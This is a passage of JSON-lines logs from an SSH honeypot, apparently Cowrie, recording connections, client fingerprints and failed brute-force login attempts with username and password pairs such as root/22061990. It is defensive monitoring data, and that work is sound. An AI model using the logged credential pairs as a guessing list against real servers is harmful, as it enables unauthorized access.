a-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:05.166881Z","src_ip":"156.38.73.89","session":"0e8d385a0968","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpnuser","password":"123","message":"login attempt [vpnuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:05.974965Z","src_ip":"156.38.73.89","session":"0e8d385a0968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:07.174481Z","src_ip":"156.38.73.89","session":"0e8d385a0968","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.176.122.24","src_port":58700,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa57d0a8228a","protocol":"ssh","message":"New connection: 122.176.122.24:58700 (159.203.135.109:22) [session: aa57d0a8228a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:34.837907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:34.843943Z","src_ip":"122.176.122.24","session":"aa57d0a8228a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:35.115993Z","src_ip":"122.176.122.24","session":"aa57d0a8228a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:36.226514Z","src_ip":"122.176.122.24","session":"aa57d0a8228a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:37.498134Z","src_ip":"122.176.122.24","session":"aa57d0a8228a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":58798,"dst_ip":"159.203.135.109","dst_port":22,"session":"4da0f55dff35","protocol":"ssh","message":"New connection: 103.107.60.45:58798 (159.203.135.109:22) [session: 4da0f55dff35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:56.647015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:56.651055Z","src_ip":"103.107.60.45","session":"4da0f55dff35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:56.865652Z","src_ip":"103.107.60.45","session":"4da0f55dff35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav","message":"login attempt [gaurav/gaurav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:57.759751Z","src_ip":"103.107.60.45","session":"4da0f55dff35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:09:58.979034Z","src_ip":"103.107.60.45","session":"4da0f55dff35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"149.6","message":"Connection lost after 149.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:10.949159Z","src_ip":"27.79.1.70","session":"9fc0d43775bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":36996,"dst_ip":"159.203.135.109","dst_port":22,"session":"4628be076440","protocol":"ssh","message":"New connection: 185.236.22.41:36996 (159.203.135.109:22) [session: 4628be076440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:17.511931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:17.523615Z","src_ip":"185.236.22.41","session":"4628be076440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:17.644825Z","src_ip":"185.236.22.41","session":"4628be076440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061990","message":"login attempt [root/22061990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:18.131790Z","src_ip":"185.236.22.41","session":"4628be076440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:19.249497Z","src_ip":"185.236.22.41","session":"4628be076440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.168.139.251","src_port":55478,"dst_ip":"159.203.135.109","dst_port":22,"session":"35e5ef6a0413","protocol":"ssh","message":"New connection: 121.168.139.251:55478 (159.203.135.109:22) [session: 35e5ef6a0413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:21.306560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:21.312444Z","src_ip":"121.168.139.251","session":"35e5ef6a0413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:21.511238Z","src_ip":"121.168.139.251","session":"35e5ef6a0413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.144.225.226","src_port":40382,"dst_ip":"159.203.135.109","dst_port":22,"session":"30d470f49478","protocol":"ssh","message":"New connection: 154.144.225.226:40382 (159.203.135.109:22) [session: 30d470f49478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:22.278626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:22.283521Z","src_ip":"154.144.225.226","session":"30d470f49478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:22.342105Z","src_ip":"121.168.139.251","session":"35e5ef6a0413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:22.405555Z","src_ip":"154.144.225.226","session":"30d470f49478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gaurav","password":"gaurav","message":"login attempt [gaurav/gaurav] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:22.928758Z","src_ip":"154.144.225.226","session":"30d470f49478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:23.545510Z","src_ip":"121.168.139.251","session":"35e5ef6a0413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:24.054413Z","src_ip":"154.144.225.226","session":"30d470f49478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.87.219.67","src_port":45144,"dst_ip":"159.203.135.109","dst_port":22,"session":"5569c82e6721","protocol":"ssh","message":"New connection: 20.87.219.67:45144 (159.203.135.109:22) [session: 5569c82e6721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:28.216237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:28.224449Z","src_ip":"20.87.219.67","session":"5569c82e6721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:28.467153Z","src_ip":"20.87.219.67","session":"5569c82e6721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123","message":"login attempt [gabriel/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:29.466842Z","src_ip":"20.87.219.67","session":"5569c82e6721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:30.712980Z","src_ip":"20.87.219.67","session":"5569c82e6721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":48548,"dst_ip":"159.203.135.109","dst_port":22,"session":"4401b282f17f","protocol":"ssh","message":"New connection: 156.38.73.89:48548 (159.203.135.109:22) [session: 4401b282f17f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:45.558451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:45.563372Z","src_ip":"156.38.73.89","session":"4401b282f17f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:45.785763Z","src_ip":"156.38.73.89","session":"4401b282f17f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"123","message":"login attempt [gabriel/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:46.634187Z","src_ip":"156.38.73.89","session":"4401b282f17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:47.841553Z","src_ip":"156.38.73.89","session":"4401b282f17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.158.146","src_port":48372,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc6ba44f973","protocol":"ssh","message":"New connection: 116.110.158.146:48372 (159.203.135.109:22) [session: 4cc6ba44f973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:56.410292Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:10:56.430085Z","src_ip":"116.110.158.146","session":"4cc6ba44f973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":42332,"dst_ip":"159.203.135.109","dst_port":22,"session":"da7ae6115ace","protocol":"ssh","message":"New connection: 20.203.42.204:42332 (159.203.135.109:22) [session: da7ae6115ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:00.856888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:00.862472Z","src_ip":"20.203.42.204","session":"da7ae6115ace","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:01.031682Z","src_ip":"20.203.42.204","session":"da7ae6115ace","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"silva","password":"12345","message":"login attempt [silva/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T11:11:01.739024Z","src_ip":"20.203.42.204","session":"da7ae6115ace","protocol":"ssh"}
